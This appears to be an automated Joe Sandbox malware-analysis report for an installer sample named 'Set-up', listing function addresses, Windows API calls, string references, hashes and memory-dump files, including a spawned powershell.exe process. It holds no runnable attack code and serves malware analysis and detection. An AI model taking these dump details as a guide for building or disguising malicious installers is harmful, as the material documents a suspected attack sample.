Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: powershell.exePID: 7144, Parent PID: 7128COMMON

Executed Functions

Function 03434900 Relevance: 1.6, Strings: 1, Instructions: 311COMMON

Download Yara Rule

Strings

ho^, xrefs: 03434CEA

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID: ho^
API String ID: 0-3610462225
Opcode ID: 20e4ac8339047ea92dd808d2d5eb90da3e74ce4effd1d4b784b88c1a814095b6
Instruction ID: a0be5f84dcec25c24a4c246d775d24ff31b9a9c19e379de1d2d32874dc59eec0
Opcode Fuzzy Hash: 20e4ac8339047ea92dd808d2d5eb90da3e74ce4effd1d4b784b88c1a814095b6
Instruction Fuzzy Hash: 8FD13834E042099FCB04DFA9D580A9EFBF2EF89310F29815AE814AB365C731ED41CB94

Function 03435E30 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38d7cb8194b2adf88b202d670a9944972875f32271a951cc4a416b031008fb0
Instruction ID: fad6b13b608cdf5b3efde17445d428d02cf20c8730c044b8aab27867ecc15dee
Opcode Fuzzy Hash: e38d7cb8194b2adf88b202d670a9944972875f32271a951cc4a416b031008fb0
Instruction Fuzzy Hash: A2424E74A00209DFCB15CF58C584AAEFBB2FF49310F29859AE855AB365C735EC81CB94

Function 034333F0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37160ea8cedfdb1add5585851e5af38b3d0154850576e7edb5c3b14def339c2
Instruction ID: 9e98ab19c57e2e88a92aa955817d187a2b9f52ddb19635a9046b9693e90cdb84
Opcode Fuzzy Hash: c37160ea8cedfdb1add5585851e5af38b3d0154850576e7edb5c3b14def339c2
Instruction Fuzzy Hash: C24148B4A001059FCB0ACF59C194AAAFBB1FF49310B25819AD815AB364C732FD50CFA4

Function 03432A61 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f089980a14d89bab51caa8c8faec30ad9a4418820728f06c72f086ca888457f2
Instruction ID: 28749b6f709e86974795337e6553e0e6c47e9c4e1df713840ce1e4b30178b1bb
Opcode Fuzzy Hash: f089980a14d89bab51caa8c8faec30ad9a4418820728f06c72f086ca888457f2
Instruction Fuzzy Hash: C9415A70A093859FCB16DF68C8909AABFB1FF4A210B1985D7D454EB362C334AC45CBA5

Function 03432AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa699ee99f7440bd068f4cc47c792f951511e8aa47831c303f783e3e559b3a65
Instruction ID: 518cf3cf13fdbb7f72d4c7d918cef5fef21012fed28734f71bae3f33087239ee
Opcode Fuzzy Hash: aa699ee99f7440bd068f4cc47c792f951511e8aa47831c303f783e3e559b3a65
Instruction Fuzzy Hash: 9B211974A006099FCB01CF59C9809AEFBB1FF4D310B248596E419EB361C735EC41CBA0

Function 034348F1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aac0d5efd5dbb541e9474f62c6862c05a204b355da2d72ec6c9d5378947c1002
Instruction ID: 143c44378634079c78b08290fa680a44fb330ce5ad6383aaab04807848f6a80b
Opcode Fuzzy Hash: aac0d5efd5dbb541e9474f62c6862c05a204b355da2d72ec6c9d5378947c1002
Instruction Fuzzy Hash: E6214D78A042498FCB00CFADD5809AEFBB5FF89310B148196D959AB312C731EC41CFA0

Function 07C91B99 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1869a317098017172a2a49bf41375626128ca2298ec2a3ab10a4601f38c439e
Instruction ID: 014c1e587ee7a0aada1ea1cd56fd42984b2e7af42c495b38f46e565a5d6c08d7
Opcode Fuzzy Hash: c1869a317098017172a2a49bf41375626128ca2298ec2a3ab10a4601f38c439e
Instruction Fuzzy Hash: 960126F2B401295BDA26267D0D67A6E1B238BD1758B0804B6CD016F346DD758E0683E2

Function 033CD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140576837.00000000033CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_33cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da563d8ab208ce7db0d3665f783280df3d01881d956c7b22cbc858fd8cba4660
Instruction ID: 930bb19cb3e3b56324b6b31514fb227c74b2075785b5b7bac35ffc1b81bed239
Opcode Fuzzy Hash: da563d8ab208ce7db0d3665f783280df3d01881d956c7b22cbc858fd8cba4660
Instruction Fuzzy Hash: F401296240D3D09ED7128A299C94752BFA8EF53224F1984DBE8888F1A7D26D5C45C772

Function 033CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140576837.00000000033CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_33cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e6bc5da1999ef2554b04be493587246bc869e88c94abbce686b92ec54414b35
Instruction ID: 6db8f30117eba764e03efb5b9cd71ff83543ad55509dc265da5fa14f30dc2b92
Opcode Fuzzy Hash: 8e6bc5da1999ef2554b04be493587246bc869e88c94abbce686b92ec54414b35
Instruction Fuzzy Hash: 18017C724093A09AE7108A2ADDC4B67BF9CEB41224F18C56EED484A646C67D9846C7B1

Function 03435135 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2140774986.0000000003430000.00000040.00000800.00020000.00000000.sdmp, Offset: 03430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3edb5d3b30d9cbbfcf2eb340fa7c0c58dbd84e7528bd8b009ac51b4c41f07d9
Instruction ID: 5f3eee2b88320794d4bc549abe76a3f2a8e931dc9cdee3742f9ed0892d0dc407
Opcode Fuzzy Hash: c3edb5d3b30d9cbbfcf2eb340fa7c0c58dbd84e7528bd8b009ac51b4c41f07d9
Instruction Fuzzy Hash: B8F049B8A002049FC700CB58D994EAAF7B5FF8D310B208099D90A9B361C736EC43CB90

Non-executed Functions

Function 07C908A0 Relevance: 10.3, Strings: 8, Instructions: 330COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07C909A2
$^q, xrefs: 07C90AB4
$^q, xrefs: 07C90AA8
tP^q, xrefs: 07C90AF9
4'^q, xrefs: 07C909AE
tP^q, xrefs: 07C90AED
$^q, xrefs: 07C90A82
#k, xrefs: 07C9096F

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$#k$$^q$$^q$$^q
API String ID: 0-2610283901
Opcode ID: 5bad0edc0a8eaf185994099c450d703d7cf9915a61f648ddd047d26f4cc5ac31
Instruction ID: 49bcd0e3035d53c84a0cf3cddaf6d592e72a19bfedfcd4075bea6d6105824c12
Opcode Fuzzy Hash: 5bad0edc0a8eaf185994099c450d703d7cf9915a61f648ddd047d26f4cc5ac31
Instruction Fuzzy Hash: 7EA199B27043578FDB654A79941976ABBE19FC2220F1880BBD845CF352DA32CD84C3A1

Function 07C93D70 Relevance: 9.2, Strings: 7, Instructions: 440COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07C93EAF
4'^q, xrefs: 07C94048
4'^q, xrefs: 07C9403E
4'^q, xrefs: 07C941DB
4'^q, xrefs: 07C941E7
d5k, xrefs: 07C93E76
4'^q, xrefs: 07C93EA5

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$d5k
API String ID: 0-284474807
Opcode ID: 232e19161e4e0ca4fd023f29095dd7d29b18648daa04a3372398bc45164c05a5
Instruction ID: b677290af02ca0632252f2a3191b6d4ea3761a820c7e54ee4e1d296c868a0cac
Opcode Fuzzy Hash: 232e19161e4e0ca4fd023f29095dd7d29b18648daa04a3372398bc45164c05a5
Instruction Fuzzy Hash: 2DE12DB1B04286CFCFA89B69D44866BBBF2AF85210F2480BAD405CF355DB31CE46C791

Function 07C914E8 Relevance: 6.4, Strings: 5, Instructions: 190COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07C91592
$^q, xrefs: 07C9169A
$^q, xrefs: 07C9166F
$^q, xrefs: 07C916A6
4'^q, xrefs: 07C9159E

Memory Dump Source

Source File: 00000011.00000002.2146392329.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c90000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 26ea3e620d640687b49f11fdf7ceaf60c774ba74b918086fc0210abeb9167840
Instruction ID: 6c1237f6d3756ea4f6e126b3d5fee2e00d1d784cffeccd324023c019cdbfc02a
Opcode Fuzzy Hash: 26ea3e620d640687b49f11fdf7ceaf60c774ba74b918086fc0210abeb9167840
